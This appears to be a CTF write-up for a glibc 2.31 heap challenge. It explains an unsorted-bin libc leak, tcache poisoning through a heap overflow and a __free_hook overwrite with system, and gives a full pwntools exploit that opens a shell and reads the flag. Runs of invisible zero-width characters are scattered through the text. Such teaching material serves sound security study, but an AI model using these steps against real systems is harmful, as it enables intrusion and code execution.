← Back to Writeups
CUSTOMMediumpwn

pwn9_mc5 — Mic Check: leak and pwn 2!

XESXOR9/2/20265 min read
#pwn#custom#medium#free_hook_overwrite#system_binsh#tcache_poisoning_via_heap_over#unsorted_bin_leak#linux

pwn9_mc5 — Mic Check: leak and pwn 2!

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: free_hook_overwrite, system_binsh, tcache_poisoning_via_heap_overflow, unsorted_bin_leak

Summary

Task: menu-driven heap allocator (glibc 2.31) with UAF (delete doesn't clear slot) and heap overflow in allocate() where user-controlled name_len can exceed the chunk size. Solution: unsorted-bin leak to get libc, then tcache poisoning by overflowing an in-use chunk into a tcache-linked neighbour's fd to return __free_hook, write system, free('/bin/sh').

pwn9_mc5 — Mic Check: leak and pwn 2! (SPB CTF)

Description

Mic Check: "leak and pwn 2!" — 10 pts. Heap challenge, glibc 2.31. nc 109.233.56.90 11804

Menu-based heap allocator with options:

  • 1 - allocate mem print and free — scanf size (1..0x7ff), malloc, then scanf name_len, then byte-by-byte read(0, ptr+i, 1) up to name_len bytes or until a newline.
  • 2 - print name — puts(array[idx]).
  • 3 - delete — free(array[idx]).
  • 4 - edit — stub: prints "Sorry, no...".

Binary

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • mc5.elf — 64-bit, PIE, Full RELRO, canary, NX, IBT+SHSTK.
  • libc.so — GNU libc 2.31 (Ubuntu 20.04) — __free_hook exists, no safe-linking.

Analysis

Two independent bugs give us everything we need:

  1. UAF. delete() frees the chunk but does NOT NULL the slot in the global pointer array. That means after free, both print (UAF-read) and the re-alloc path can observe the stale pointer.
  2. Heap overflow in allocate(). name_len is a signed int, unbounded relative to the just-allocated chunk size. The reader read(0, ptr+i, 1) only stops on \n OR after exactly name_len bytes. Because "edit" is a stub, this is the only write primitive — and it's more powerful than necessary: we can overflow a freshly-allocated chunk into its neighbours. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The "input discipline" pitfall is critical: the reader stops on \n OR on name_len, and any lingering bytes in stdin desynchronise the next scanf("%d") for the menu choice and kill the program. The exploit must send exactly name_len bytes per allocation.

Solution

Phase 1 — libc leak via unsorted bin

  • alloc(0x7f0) — chunk size 0x800 > tcache max 0x410, so free will route to unsorted bin.
  • alloc(0x20) guard — prevents the big chunk from merging with top when freed.
  • delete the big chunk → it lands in the unsorted bin; fd = main_arena + 0x60.
  • print (UAF-read) leaks 6 bytes of the main arena pointer.
  • libc_base = leak - (main_arena + 0x60 offset) = leak - 0x1ebbe0. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 2 — tcache poisoning via heap overflow

  • alloc four adjacent 0x20-sized chunks A, B, C, D.
  • Free D, C, B → tcache[0x20] = B → C → D (head = B, count = 3).
  • Overflow trick. Next alloc(size=0x20, name_len=0x38): malloc returns B (tcache head) and we write 0x38 bytes:
    • [0x00..0x20) — 0x20 filler bytes of B's user data.
    • [0x20..0x30) — fake header for C: prev_size=0, size=0x31 (PREV_INUSE).
    • [0x30..0x38) — C->fd = &__free_hook.
  • Two more alloc(0x20) calls: first pops C (head becomes __free_hook, count=1), second returns __free_hook as a heap pointer. We write p64(system) into it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 3 — trigger system("/bin/sh")

  • Allocate a fresh chunk with contents "/bin/sh" (exactly 7 bytes).
  • delete it → free(ptr_to_/bin/sh) — since __free_hook = system, this becomes system("/bin/sh") → shell → cat /flag.txt.

Full exploit

python
#!/usr/bin/env python3
"""pwn9_mc5 — glibc 2.31 heap: UAF + heap-overflow → tcache poison → __free_hook = system."""
from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'info'

libc = ELF('./libc.so')
HOST, PORT = '109.233.56.90', 11804
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

MALLOC_HOOK = libc.symbols['__malloc_hook']      # 0x1ebb70
MAIN_ARENA  = MALLOC_HOOK + 0x10                 # 0x1ebb80
UNSORTED_BIN_HEAD_OFF = MAIN_ARENA + 0x60        # 0x1ebbe0
FREE_HOOK_OFF = libc.symbols['__free_hook']      # 0x1eeb28
SYSTEM_OFF    = libc.symbols['system']           # 0x55410


def alloc(p, size, name_len, name):
    # MUST send exactly name_len bytes. Extra bytes break the next scanf("%d").
    assert len(name) == name_len, f"name must be {name_len} bytes, got {len(name)}"
    p.sendlineafter(b'Choose:', b'1')
    p.sendlineafter(b'alloc size?', str(size).encode())
    p.sendlineafter(b'enter name size:', str(name_len).encode())
    p.sendafter(b'enter name:', name)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def delete(p, idx):
    p.sendlineafter(b'Choose:', b'3')
    p.sendlineafter(b'Index?', str(idx).encode())


def show(p, idx):
    p.sendlineafter(b'Choose:', b'2')
    p.sendlineafter(b'Index?', str(idx).encode())


def read_shown_line(p):
    line = p.recvline(timeout=3)
    if line.strip() == b'':
        line = p.recvline(timeout=3)
    return line.rstrip(b'\n')


def exploit():
    p = remote(HOST, PORT)

    # ── Phase 1: libc leak via unsorted bin ────────────────────────────────
    alloc(p, 0x7f0, 8, b'AAAAAAAA')   # idx 0: large chunk
    alloc(p, 0x20,  1, b'B')           # idx 1: guard
    delete(p, 0)                        # → unsorted bin
    show(p, 0)
    leak_val = u64(read_shown_line(p).ljust(8, b'\x00'))
    libc_base = leak_val - UNSORTED_BIN_HEAD_OFF
    assert libc_base & 0xfff == 0
    free_hook = libc_base + FREE_HOOK_OFF
    system    = libc_base + SYSTEM_OFF
    log.success(f"libc_base   = {hex(libc_base)}")
    log.success(f"__free_hook = {hex(free_hook)}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # ── Phase 2: tcache poisoning via heap overflow ────────────────────────
    alloc(p, 0x20, 1, b'A')   # 2
    alloc(p, 0x20, 1, b'B')   # 3
    alloc(p, 0x20, 1, b'C')   # 4
    alloc(p, 0x20, 1, b'D')   # 5

    delete(p, 5)   # D → tcache
    delete(p, 4)   # C → tcache, C->fd = D
    delete(p, 3)   # B → tcache, B->fd = C  (head = B, count = 3)

    # Overflow: malloc returns B, 0x38 bytes overwrite C's header & fd.
    payload = b'X' * 0x20 + p64(0) + p64(0x31) + p64(free_hook)
    alloc(p, 0x20, len(payload), payload)  # idx 6
    # tcache: head = C, C->fd = __free_hook, count = 2
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    alloc(p, 0x20, 1, b'P')                 # idx 7 — pops C; head = __free_hook
    alloc(p, 0x20, 8, p64(system))          # idx 8 — returns __free_hook; writes system

    # ── Phase 3: trigger ────────────────────────────────────────────────────
    alloc(p, 0x20, 7, b'/bin/sh')           # idx 9
    p.sendlineafter(b'Choose:', b'3')
    p.sendlineafter(b'Index?', b'9')         # free → __free_hook("/bin/sh") = system("/bin/sh")

    p.sendline(b'cat /flag* 2>/dev/null; cat /home/*/flag* 2>/dev/null')
    time.sleep(2)
    try:
        print(p.recv(timeout=5).decode(errors='replace'))
    except EOFError:
        pass
    p.interactive()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


if __name__ == '__main__':
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍